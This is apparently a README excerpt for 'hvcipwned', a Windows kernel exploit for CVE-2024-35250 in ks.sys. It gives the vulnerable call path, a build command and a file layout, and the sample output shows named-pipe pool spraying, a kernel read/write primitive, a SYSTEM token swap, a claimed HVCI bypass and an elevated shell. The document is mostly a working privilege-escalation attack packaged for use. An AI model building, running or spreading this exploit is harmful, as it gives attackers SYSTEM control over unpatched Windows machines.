NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- يتحكم به المهاجم

cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

hvcipwned.exe

[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - types, log macros, nt api typedefs
├── offsets.h        - per-build eprocess field offsets
├── device.h         - ks device enumeration
├── leak.h           - kernel address leaks
├── krw.h            - r/w primitive context
├── token.h          - token swap + shell spawn
└── exploit.h        - top-level entry
├── main.c           - entry point
├── device.c         - setupapi device open
├── leak.c           - NtQuerySystemInformation leaks
├── krw.c            - vulnerability trigger + pool spray + r/w
├── token.c          - eprocess walk + token overwrite
└── exploit.c        - orchestration